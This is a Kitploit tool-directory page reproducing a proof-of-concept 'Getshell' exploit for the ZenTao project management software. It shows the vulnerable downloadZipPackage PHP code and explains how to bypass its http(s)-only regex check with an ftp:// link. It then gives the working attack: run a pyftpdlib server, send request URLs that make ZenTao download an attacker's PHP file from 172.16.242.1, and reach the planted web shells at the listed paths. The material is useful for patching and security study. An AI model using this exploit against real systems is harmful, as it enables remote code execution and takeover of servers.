Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
zentao — zentao Getshell | Kitploit
Tools/GitHubGitHub/jas502n/zentao
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubjas502n/zentao

zentao

zentao Getshell

View Repository
1055 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

zentao Getshell

downloadZipPackage find

root@kitploit:~
C:\Users\Jas502n\Desktop\xampp>findstr /s /i "downloadZipPackage" *

zentao\log.txt:module\client\control.php:        $result = $this->client->downloadZipPackage($version, $link);
zentao\log.txt:module\client\ext\model\xuanxuan.php:public function downloadZipPackage($version, $link)
zentao\log.txt:module\client\ext\model\xuanxuan.php:    return parent::downloadZipPackage($version, $link);
zentao\log.txt:module\client\model.php:    public function downloadZipPackage($version, $link)

zentao\module\client\control.php:        $result = $this->client->downloadZipPackage($version, $link);
zentao\module\client\ext\model\xuanxuan.php:public function downloadZipPackage($version, $link)
zentao\module\client\ext\model\xuanxuan.php:    return parent::downloadZipPackage($version, $link);
zentao\module\client\model.php:    public function downloadZipPackage($version, $link)
zentao\tmp\model\client.php:public function downloadZipPackage($version, $link)
zentao\tmp\model\client.php:    return parent::downloadZipPackage($version, $link);

zentaoep\module\client\control.php:        $result = $this->client->downloadZipPackage($version, $link);
zentaoep\module\client\ext\model\xuanxuan.php:public function downloadZipPackage($version, $link)
zentaoep\module\client\ext\model\xuanxuan.php:    return parent::downloadZipPackage($version, $link);
zentaoep\module\client\model.php:    public function downloadZipPackage($version, $link)
zentaoep\tmp\model\client.php:public function downloadZipPackage($version, $link)
zentaoep\tmp\model\client.php:    return parent::downloadZipPackage($version, $link);

zentaopro\module\client\control.php:        $result = $this->client->downloadZipPackage($version, $link);
zentaopro\module\client\ext\model\xuanxuan.php:public function downloadZipPackage($version, $link)
zentaopro\module\client\ext\model\xuanxuan.php:    return parent::downloadZipPackage($version, $link);
zentaopro\module\client\model.php:    public function downloadZipPackage($version, $link)
zentaopro\tmp\model\client.php:public function downloadZipPackage($version, $link)
zentaopro\tmp\model\client.php:    return parent::downloadZipPackage($version, $link);

C:\Users\Jas502n\Desktop\xampp>

\model\client.php

root@kitploit:~
<?php
global $app;
helper::cd($app->getBasePath());
helper::import('module\client\model.php');
helper::cd();
class extclientModel extends clientModel 
{
public function getCurrentVersion()
{
    $currentVersion = $this->dao->select('*')->from(TABLE_IM_CLIENT)->where('status')->eq('released')->orderBy('id_desc')->limit(1)->fetch();

    if(dao::isError()) return false;
    return $currentVersion ?: json_decode('{"version": "' . $this->config->xuanxuan->version . '"}');
}

public function downloadZipPackage($version, $link)
{
    $decodeLink = helper::safe64Decode($link);
    if(preg_match('/^https?\:\/\//', $decodeLink)) return false;

    return parent::downloadZipPackage($version, $link);
}
//**//
}

Use FTP to bypass the regex match if(preg_match('/^https?\:\/\//', $decodeLink)) return false;

downloadZipPackage

root@kitploit:~
    /**
     * Download zip package.
     * @param $version
     * @param $link
     * @return bool | string
     */
    public function downloadZipPackage($version, $link)
    {
        ignore_user_abort(true);
        set_time_limit(0);
        if(empty($version) || empty($link)) return false;
        $dir  = "data/client/" . $version . '/';
        $link = helper::safe64Decode($link);
        $file = basename($link);
        if(!is_dir($this->app->wwwRoot . $dir))
        {
            mkdir($this->app->wwwRoot . $dir, 0755, true);
        }
        if(!is_dir($this->app->wwwRoot . $dir)) return false;
        if(file_exists($this->app->wwwRoot . $dir . $file))
        {
            return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
        }
        ob_clean();
        ob_end_flush();

        $local  = fopen($this->app->wwwRoot . $dir . $file, 'w');
        $remote = fopen($link, 'rb');
        if($remote === false) return false;
        while(!feof($remote))
        {
            $buffer = fread($remote, 4096);
            fwrite($local, $buffer);
        }
        fclose($local);
        fclose($remote);
        return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
    }

Exp

pip install pyftpdlib

python -m pyftpdlib

root@kitploit:~
/zentao/client-download-2-ftp://172.16.242.1:2121/jas502n.php-1.html
/pro/client-download-2-ftp://172.16.242.1:2121/jas502n.php-1.html
/biz/client-download-2-ftp://172.16.242.1:2121/jas502n.php-1.html

Shell

root@kitploit:~
\xampp\zentao\www\data\client\2\jas502n.php
\xampp\zentaoep\www\data\client\2\jas502n.php
\xampp\zentaopro\www\data\client\2\jas502n.php

Download Tool